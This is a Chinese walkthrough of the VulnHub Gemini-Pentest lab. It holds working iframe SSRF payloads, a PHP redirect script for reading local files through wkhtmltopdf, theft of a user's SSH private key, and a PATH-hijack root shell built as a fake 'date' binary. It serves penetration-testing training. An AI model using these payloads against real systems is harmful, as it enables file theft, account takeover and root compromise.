Gemini-Pentest靶场实战详解
字数 1224 2025-08-12 12:08:16
Gemini-Pentest靶场实战教学文档
0x00 环境配置
靶机下载地址:
https://download.vulnhub.com/geminiinc/Gemini-Pentest-v1.zip
运行环境: VMware Workstation
难度等级: 中+
目标: 获取root权限和Flag
0x01 主机发现与端口扫描
-
使用
arp-scan发现靶机IP:arp-scan -l发现靶机IP为192.168.26.132
-
使用nmap进行端口扫描:
nmap -sV -sC -p- 192.168.26.132扫描结果显示开放22(SSH)和80(HTTP)端口
0x02 信息收集
- 访问80端口HTTP服务,发现web页面
- 在test2目录下发现一个web应用页面,并提供了GitHub项目链接
- 应用功能:将用户配置信息和其他内容转换为PDF
0x03 开源项目信息泄漏
- 通过GitHub项目代码发现默认凭证:
- 用户名:admin
- 密码:admin123
- 使用该凭证成功登录,获得admin权限
0x04 存储型XSS漏洞
- 在admin面板中发现可以编辑用户个人信息
- 在"display name"字段测试存储型XSS成功
- 确认该漏洞无法直接用于进一步渗透
0x05 SSRF漏洞发现与利用
-
点击"export profile"导出PDF功能
-
从导出的PDF中发现服务器组件信息:
- 组件名称:wkhtmltopdf
- 版本信息:0.12.4
-
搜索发现该组件存在SSRF漏洞
-
漏洞利用原理:
- 通过插入iframe标签触发SSRF
- 可读取远程或本地文件
0x06 LFI漏洞利用
-
初始尝试读取本地文件失败:
<iframe src="file:///etc/passwd"></iframe> -
成功读取远程文件:
- 在Kali上创建测试文件:
echo "test SSRF" > /root/1.txt python3 -m http.server 80 - 插入payload:
<iframe src="http://192.168.26.20/1.txt"></iframe>
- 在Kali上创建测试文件:
-
高级利用方法 - 读取本地文件:
- 在攻击者服务器创建ssrfexp.php:
<?php header('location:file://'.$_REQUEST['url']); ?> - 插入payload:
<iframe height="2000" width="800" src=http://x.x.x.x/ssrfexp.php?url=/etc/passwd></iframe> - 成功读取/etc/passwd文件内容
- 在攻击者服务器创建ssrfexp.php:
0x07 SSH公钥认证利用
- 从/etc/passwd发现可登录用户gemini1
- 读取用户私钥文件:
<iframe height="2000" width="800" src=http://x.x.x.x/ssrfexp.php?url=/home/gemini1/.ssh/id_rsa></iframe> - 保存私钥到Kali并设置权限:
chmod 400 id_rsa - 使用私钥登录:
ssh -i id_rsa gemini1@192.168.26.133
0x08 Linux环境变量提权
-
查找SUID文件:
find / -user root -type f -perm -u+sx -ls 2>/dev/null发现/usr/bin/listinfo
-
分析listinfo功能:
- 显示网卡配置
- 检查22和80端口状态
- 打印当前时间(date命令)
-
发现漏洞点:
- date命令未使用绝对路径
-
创建恶意date程序:
#include <sys/types.h> #include <unistd.h> #include <stdlib.h> int main() { setuid(0); setgid(0); system("/bin/bash"); }编译:
gcc date.c -o date -
修改环境变量:
export PATH=/home/gemini1:$PATH -
执行listinfo触发提权,获得root shell
0x09 技术总结
-
渗透路径:
- 默认凭证 → 登录后台
- 发现SSRF漏洞 → 文件读取
- 获取SSH私钥 → 用户权限
- 环境变量滥用 → root权限
-
关键技术点:
- wkhtmltopdf SSRF漏洞利用
- SSH私钥认证绕过
- Linux环境变量提权技术
-
学习要点:
- 开源项目审计
- 组件漏洞研究
- 非常规提权方法